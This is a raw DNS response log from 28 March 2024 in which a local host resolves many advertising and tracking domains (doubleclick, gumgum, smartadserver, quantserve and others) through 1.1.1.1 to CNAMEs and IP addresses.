Mar 28, 2024 09:51:44.049063921 CET	1.1.1.1	192.168.2.4	0xc33f	No error (0)	rtb.adentifi.com		3.221.141.3	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.078376055 CET	1.1.1.1	192.168.2.4	0x8c5f	No error (0)	ds.frontend.weborama.fr		34.149.247.216	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.198333025 CET	1.1.1.1	192.168.2.4	0x44b7	No error (0)	s.amazon-adsystem.com		52.46.143.56	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.316138983 CET	1.1.1.1	192.168.2.4	0xad19	No error (0)	cs-rtb.minutemedia-prebid.com	dheoaz9svaqd1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.316138983 CET	1.1.1.1	192.168.2.4	0xad19	No error (0)	dheoaz9svaqd1.cloudfront.net		18.160.10.58	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.316138983 CET	1.1.1.1	192.168.2.4	0xad19	No error (0)	dheoaz9svaqd1.cloudfront.net		18.160.10.16	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.316138983 CET	1.1.1.1	192.168.2.4	0xad19	No error (0)	dheoaz9svaqd1.cloudfront.net		18.160.10.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.316138983 CET	1.1.1.1	192.168.2.4	0xad19	No error (0)	dheoaz9svaqd1.cloudfront.net		18.160.10.102	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.316181898 CET	1.1.1.1	192.168.2.4	0x774b	No error (0)	sync.adkernel.com	1.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.316181898 CET	1.1.1.1	192.168.2.4	0x774b	No error (0)	1.cpm.ak-is2.net		174.137.133.32	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317110062 CET	1.1.1.1	192.168.2.4	0xb3de	No error (0)	sync.adkernel.com	1.cpm.ak-is2.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317167997 CET	1.1.1.1	192.168.2.4	0x5c19	No error (0)	cdn.dxkulture.com	dssp-prod-cdn.nyc3.cdn.digitaloceanspaces.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317167997 CET	1.1.1.1	192.168.2.4	0x5c19	No error (0)	dssp-prod-cdn.nyc3.cdn.digitaloceanspaces.com		172.64.145.29	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317167997 CET	1.1.1.1	192.168.2.4	0x5c19	No error (0)	dssp-prod-cdn.nyc3.cdn.digitaloceanspaces.com		104.18.42.227	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317276955 CET	1.1.1.1	192.168.2.4	0x173e	No error (0)	cs-server-s2s.yellowblue.io		107.20.136.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317276955 CET	1.1.1.1	192.168.2.4	0x173e	No error (0)	cs-server-s2s.yellowblue.io		54.243.220.127	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317276955 CET	1.1.1.1	192.168.2.4	0x173e	No error (0)	cs-server-s2s.yellowblue.io		3.209.99.206	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317276955 CET	1.1.1.1	192.168.2.4	0x173e	No error (0)	cs-server-s2s.yellowblue.io		3.230.240.225	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317276955 CET	1.1.1.1	192.168.2.4	0x173e	No error (0)	cs-server-s2s.yellowblue.io		35.173.144.25	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317276955 CET	1.1.1.1	192.168.2.4	0x173e	No error (0)	cs-server-s2s.yellowblue.io		50.19.121.137	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317276955 CET	1.1.1.1	192.168.2.4	0x173e	No error (0)	cs-server-s2s.yellowblue.io		34.233.219.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317276955 CET	1.1.1.1	192.168.2.4	0x173e	No error (0)	cs-server-s2s.yellowblue.io		52.205.90.189	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317913055 CET	1.1.1.1	192.168.2.4	0x39d5	No error (0)	cdn.dxkulture.com	dssp-prod-cdn.nyc3.cdn.digitaloceanspaces.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.317913055 CET	1.1.1.1	192.168.2.4	0x39d5	No error (0)	dssp-prod-cdn.nyc3.cdn.digitaloceanspaces.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:44.319890976 CET	1.1.1.1	192.168.2.4	0x83f7	No error (0)	rtb.gumgum.com		35.170.221.127	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.319890976 CET	1.1.1.1	192.168.2.4	0x83f7	No error (0)	rtb.gumgum.com		52.3.29.96	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.319890976 CET	1.1.1.1	192.168.2.4	0x83f7	No error (0)	rtb.gumgum.com		107.23.7.238	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.319890976 CET	1.1.1.1	192.168.2.4	0x83f7	No error (0)	rtb.gumgum.com		54.242.45.237	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.319890976 CET	1.1.1.1	192.168.2.4	0x83f7	No error (0)	rtb.gumgum.com		54.82.87.47	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.319890976 CET	1.1.1.1	192.168.2.4	0x83f7	No error (0)	rtb.gumgum.com		52.72.54.211	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.319890976 CET	1.1.1.1	192.168.2.4	0x83f7	No error (0)	rtb.gumgum.com		3.224.52.235	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.319890976 CET	1.1.1.1	192.168.2.4	0x83f7	No error (0)	rtb.gumgum.com		34.207.50.193	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-us.smartadserver.com	ssbsync-use1.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.171	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.14.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.143	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.158	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.53	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.14.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.116	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.69	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.37	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.170	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.159	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		23.105.12.142	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.52	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.36	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.68	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.325547934 CET	1.1.1.1	192.168.2.4	0xb99a	No error (0)	ssbsync-use1.smartadserver.com		216.22.16.4	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.326432943 CET	1.1.1.1	192.168.2.4	0x7648	No error (0)	ssbsync-us.smartadserver.com	ssbsync-use1.smartadserver.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.328457117 CET	1.1.1.1	192.168.2.4	0x99f8	No error (0)	pubads.g.doubleclick.net	pubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.328457117 CET	1.1.1.1	192.168.2.4	0x99f8	No error (0)	pubads46.g.doubleclick.net		142.251.167.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.328457117 CET	1.1.1.1	192.168.2.4	0x99f8	No error (0)	pubads46.g.doubleclick.net		142.251.167.154	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.328457117 CET	1.1.1.1	192.168.2.4	0x99f8	No error (0)	pubads46.g.doubleclick.net		142.251.167.157	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.328457117 CET	1.1.1.1	192.168.2.4	0x99f8	No error (0)	pubads46.g.doubleclick.net		142.251.167.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.332209110 CET	1.1.1.1	192.168.2.4	0x8dd9	No error (0)	cs-rtb.minutemedia-prebid.com	dheoaz9svaqd1.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.333379030 CET	1.1.1.1	192.168.2.4	0xe421	No error (0)	pubads.g.doubleclick.net	pubads46.g.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.349692106 CET	1.1.1.1	192.168.2.4	0x8084	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.349692106 CET	1.1.1.1	192.168.2.4	0x8084	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.35	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.349692106 CET	1.1.1.1	192.168.2.4	0x8084	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.34	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.349692106 CET	1.1.1.1	192.168.2.4	0x8084	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.66	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.349692106 CET	1.1.1.1	192.168.2.4	0x8084	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.67	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.349781036 CET	1.1.1.1	192.168.2.4	0xa688	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.350977898 CET	1.1.1.1	192.168.2.4	0x75	No error (0)	prebid.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.350977898 CET	1.1.1.1	192.168.2.4	0x75	No error (0)	dc13-prebid.a-mx.net		147.28.129.140	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.350977898 CET	1.1.1.1	192.168.2.4	0x75	No error (0)	dc13-prebid.a-mx.net		147.28.146.89	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.350977898 CET	1.1.1.1	192.168.2.4	0x75	No error (0)	dc13-prebid.a-mx.net		147.28.129.37	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.352395058 CET	1.1.1.1	192.168.2.4	0xf6f6	No error (0)	prebid.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366502047 CET	1.1.1.1	192.168.2.4	0x600a	No error (0)	id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.366576910 CET	1.1.1.1	192.168.2.4	0x18a1	No error (0)	js.tncid.app		35.244.250.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.368554115 CET	1.1.1.1	192.168.2.4	0xbc76	No error (0)	ssum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.368554115 CET	1.1.1.1	192.168.2.4	0xbc76	No error (0)	ssum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.370038033 CET	1.1.1.1	192.168.2.4	0xdc45	No error (0)	ssum-sec.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:44.421639919 CET	1.1.1.1	192.168.2.4	0x2921	No error (0)	mwzeom.zeotap.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:44.421888113 CET	1.1.1.1	192.168.2.4	0x10ca	No error (0)	mwzeom.zeotap.com		104.22.51.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.421888113 CET	1.1.1.1	192.168.2.4	0x10ca	No error (0)	mwzeom.zeotap.com		104.22.50.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.421888113 CET	1.1.1.1	192.168.2.4	0x10ca	No error (0)	mwzeom.zeotap.com		172.67.40.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.422285080 CET	1.1.1.1	192.168.2.4	0xb38	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.422285080 CET	1.1.1.1	192.168.2.4	0xb38	No error (0)	match-us-east-1-ecs.sharethrough.com		50.16.42.122	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.422285080 CET	1.1.1.1	192.168.2.4	0xb38	No error (0)	match-us-east-1-ecs.sharethrough.com		18.232.26.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.422285080 CET	1.1.1.1	192.168.2.4	0xb38	No error (0)	match-us-east-1-ecs.sharethrough.com		3.211.103.63	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.422285080 CET	1.1.1.1	192.168.2.4	0xb38	No error (0)	match-us-east-1-ecs.sharethrough.com		44.209.20.160	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.422285080 CET	1.1.1.1	192.168.2.4	0xb38	No error (0)	match-us-east-1-ecs.sharethrough.com		100.24.220.190	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.422285080 CET	1.1.1.1	192.168.2.4	0xb38	No error (0)	match-us-east-1-ecs.sharethrough.com		34.235.76.40	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.422285080 CET	1.1.1.1	192.168.2.4	0xb38	No error (0)	match-us-east-1-ecs.sharethrough.com		3.220.79.159	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.422285080 CET	1.1.1.1	192.168.2.4	0xb38	No error (0)	match-us-east-1-ecs.sharethrough.com		3.226.98.126	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.425618887 CET	1.1.1.1	192.168.2.4	0xea52	No error (0)	match.sharethrough.com	match-us-east-1-ecs.sharethrough.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.550301075 CET	1.1.1.1	192.168.2.4	0xe703	No error (0)	loadus.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.550301075 CET	1.1.1.1	192.168.2.4	0xe703	No error (0)	loadus.tm.ssl.exelator.com	us-east.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.550301075 CET	1.1.1.1	192.168.2.4	0xe703	No error (0)	us-east.load.exelator.com	load-use1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.550301075 CET	1.1.1.1	192.168.2.4	0xe703	No error (0)	load-use1.exelator.com		34.229.3.43	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.551553011 CET	1.1.1.1	192.168.2.4	0xbde	No error (0)	loadus.exelator.com	loadus.tm.ssl.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.551553011 CET	1.1.1.1	192.168.2.4	0xbde	No error (0)	loadus.tm.ssl.exelator.com	us-east.load.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.551553011 CET	1.1.1.1	192.168.2.4	0xbde	No error (0)	us-east.load.exelator.com	load-use1.exelator.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.551742077 CET	1.1.1.1	192.168.2.4	0x3142	No error (0)	s0.2mdn.net		172.253.63.149	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.551742077 CET	1.1.1.1	192.168.2.4	0x3142	No error (0)	s0.2mdn.net		172.253.63.148	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.554680109 CET	1.1.1.1	192.168.2.4	0x7dfe	No error (0)	www.youronlinechoices.com	youronlinechoices.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.556973934 CET	1.1.1.1	192.168.2.4	0x1954	No error (0)	www.youronlinechoices.com	youronlinechoices.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.556973934 CET	1.1.1.1	192.168.2.4	0x1954	No error (0)	youronlinechoices.com		40.85.112.191	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.557231903 CET	1.1.1.1	192.168.2.4	0xecc3	No error (0)	redirect.frontend.weborama.fr		35.190.24.218	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.567331076 CET	1.1.1.1	192.168.2.4	0x13e4	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.567331076 CET	1.1.1.1	192.168.2.4	0x13e4	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.567331076 CET	1.1.1.1	192.168.2.4	0x13e4	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.118	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.567331076 CET	1.1.1.1	192.168.2.4	0x13e4	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.128	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.567331076 CET	1.1.1.1	192.168.2.4	0x13e4	No error (0)	d20qwf0wrdtevy.cloudfront.net		13.249.39.110	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.567760944 CET	1.1.1.1	192.168.2.4	0x5d71	No error (0)	aa.agkn.com	d20qwf0wrdtevy.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569293976 CET	1.1.1.1	192.168.2.4	0x3d21	No error (0)	odr.mookie1.com	tagr-gcp-odr-use1.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569293976 CET	1.1.1.1	192.168.2.4	0x3d21	No error (0)	tagr-gcp-odr-use1.mookie1.com		35.190.90.30	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569848061 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	beacon.krxd.net	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569848061 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		3.225.135.34	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569848061 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		52.21.84.193	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569848061 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		35.169.49.132	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569848061 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		44.218.79.153	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569848061 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		18.213.71.25	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569848061 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		3.233.252.124	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569848061 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		34.233.143.245	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569848061 CET	1.1.1.1	192.168.2.4	0x20b2	No error (0)	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		44.217.77.204	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.569864035 CET	1.1.1.1	192.168.2.4	0x5de1	No error (0)	odr.mookie1.com	tagr-gcp-odr-use1.mookie1.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.570841074 CET	1.1.1.1	192.168.2.4	0xa33b	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.571219921 CET	1.1.1.1	192.168.2.4	0xdc2f	No error (0)	beacon.krxd.net	prod-ash-beacon-1960876484.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.571434975 CET	1.1.1.1	192.168.2.4	0x827c	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.571446896 CET	1.1.1.1	192.168.2.4	0x773f	No error (0)	usermatch.krxd.net	prod-ash-usermatch-1919559762.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.571446896 CET	1.1.1.1	192.168.2.4	0x773f	No error (0)	prod-ash-usermatch-1919559762.us-east-1.elb.amazonaws.com		34.197.159.88	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.571446896 CET	1.1.1.1	192.168.2.4	0x773f	No error (0)	prod-ash-usermatch-1919559762.us-east-1.elb.amazonaws.com		54.235.169.103	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.571446896 CET	1.1.1.1	192.168.2.4	0x773f	No error (0)	prod-ash-usermatch-1919559762.us-east-1.elb.amazonaws.com		34.202.15.165	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572011948 CET	1.1.1.1	192.168.2.4	0x5e61	No error (0)	usermatch.krxd.net	prod-ash-usermatch-1919559762.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572681904 CET	1.1.1.1	192.168.2.4	0x30b4	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572681904 CET	1.1.1.1	192.168.2.4	0x30b4	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572681904 CET	1.1.1.1	192.168.2.4	0x30b4	No error (0)	global.px.quantserve.com		192.184.68.228	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572681904 CET	1.1.1.1	192.168.2.4	0x30b4	No error (0)	global.px.quantserve.com		192.184.68.166	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572681904 CET	1.1.1.1	192.168.2.4	0x30b4	No error (0)	global.px.quantserve.com		192.184.68.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572681904 CET	1.1.1.1	192.168.2.4	0x30b4	No error (0)	global.px.quantserve.com		192.184.68.254	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572681904 CET	1.1.1.1	192.168.2.4	0x30b4	No error (0)	global.px.quantserve.com		192.184.68.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572860956 CET	1.1.1.1	192.168.2.4	0x27c	No error (0)	cms.quantserve.com	2kpixel.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.572860956 CET	1.1.1.1	192.168.2.4	0x27c	No error (0)	2kpixel.quantserve.com	global.px.quantserve.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:44.631689072 CET	1.1.1.1	192.168.2.4	0x5572	No error (0)	gt.frontend.weborama.fr		34.144.196.102	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.708532095 CET	1.1.1.1	192.168.2.4	0xfcbf	No error (0)	id.a-mx.com		121.127.42.98	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.739790916 CET	1.1.1.1	192.168.2.4	0x988	No error (0)	cm.adform.net	track-eu.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:45.740957975 CET	1.1.1.1	192.168.2.4	0x7d1	No error (0)	cm.adform.net	track-eu.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:45.753468990 CET	1.1.1.1	192.168.2.4	0x613d	No error (0)	ssum.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.753468990 CET	1.1.1.1	192.168.2.4	0x613d	No error (0)	ssum.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:45.755525112 CET	1.1.1.1	192.168.2.4	0x7069	No error (0)	ssum.casalemedia.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:46.023605108 CET	1.1.1.1	192.168.2.4	0x8f82	No error (0)	t3.teads.tv	t3.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.023793936 CET	1.1.1.1	192.168.2.4	0xf63f	No error (0)	t3.teads.tv	t3.teads.tv.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:46.025305033 CET	1.1.1.1	192.168.2.4	0x1a6c	No error (0)	csync.loopme.me	envoy-hl.envoy-csync1.core-b8mf.ov1o.com		CNAME (Canonical name)	IN (0x0001)	false
